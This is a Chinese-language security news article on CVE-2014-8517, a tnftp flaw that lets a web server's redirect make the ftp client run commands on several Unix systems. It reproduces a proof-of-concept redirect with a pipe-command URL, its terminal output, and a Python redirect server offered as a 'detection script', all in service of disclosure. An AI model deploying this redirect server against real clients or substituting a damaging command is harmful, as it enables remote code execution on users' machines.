FTP曝严重远程执行漏洞 影响多个版本Unix

安全 漏洞
10月28日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到的Unix系统包括:Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的最新版本Yosemite 10.10。

10月28日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到的Unix系统包括:Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的***版本Yosemite 10.10。

NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可以通过tnftp从WEB服务器远程执行恶意命令,并且此漏洞已被编号为CVE-2014-8517 :

    a20$ pwd
     /var/www/cgi-bin
     a20$ ls -l
     total 4
     -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
     -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
     a20$ cat redirect
     #!/bin/sh
     echo 'Status: 302 Found'
     echo 'Content-Type: text/html'
     echo 'Connection: keep-alive'
     echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'
     echo
     a20$
   a20$ ftp http://localhost/cgi-bin/redirect
   Trying ::1:80 ...
   ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...
   Requesting http://localhost/cgi-bin/redirect
   Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
   Requesting http://192.168.2.19/cgi-bin/|uname%20-a
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)
   NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
   ADT 2014
   Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm
   a20$

漏洞影响范围及公告

Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系统开发商已经意识到了此漏洞的危害,其中Debian, Red Hat, Gnetoo and Novell已经发出了漏洞公告:

FTP曝严重远程执行漏洞,影响多个版本Unix

漏洞检测脚本(请勿用于非法用途)

And you should see the command executed.

All wrongs reversed - @stevelord
"""

import BaseHTTPServer
import sys
import socket
import urllib

hostname = socket.getfqdn() # Set this to your IP if you have no FQDN
port = 8000 # Set this to the port you want to run this on
cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."

cmd = urllib.quote(cmd)
redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
 def do_GET(s):
  if cmd in s.path:
   s.send_response(200)
   s.end_headers()
  else:
   s.send_response(302)
   s.send_header("Location", redir)
   s.end_headers()

if __name__ == "__main__":
 print "redirecting to,", redir
 server_class = BaseHTTPServer.HTTPServer
 httpd = server_class((hostname, port), RedirectHandler)
 try:
  httpd.serve_forever()
  print "Started serving."
 except KeyboardInterrupt:
  pass
 httpd.server_close()
 print "\nStopped serving."

解决方案和更详细的内容参见:

http://seclists.org/oss-sec/2014/q4/459 http://seclists.org/oss-sec/2014/q4/464

http://seclists.org/oss-sec/2014/q4/460

参考信息来源:http://www.securityweek.com/nix-systems-affected-ftp-remote-command-execution-vulnerability

责任编辑:蓝雨泪
相关推荐

2014-10-30 14:02:26

LinuxFTP漏洞

2020-10-15 12:24:46

Linux漏洞攻击

2015-01-27 17:40:05

2014-04-29 11:18:27

2021-09-16 14:06:55

远程代码漏洞微软

2022-08-15 08:28:52

漏洞底层框架Electron

2024-05-07 16:38:25

2015-04-30 08:11:40

2018-05-06 23:08:12

2023-08-15 19:15:20

2015-09-23 11:42:20

2024-05-21 13:09:55

2023-12-14 16:20:09

2019-02-21 10:11:49

2022-12-05 15:07:29

2023-12-08 13:18:27

2024-09-04 14:11:12

2024-05-27 09:04:05

2024-10-12 14:36:34

2023-07-04 18:39:37

点赞
收藏

51CTO技术栈公众号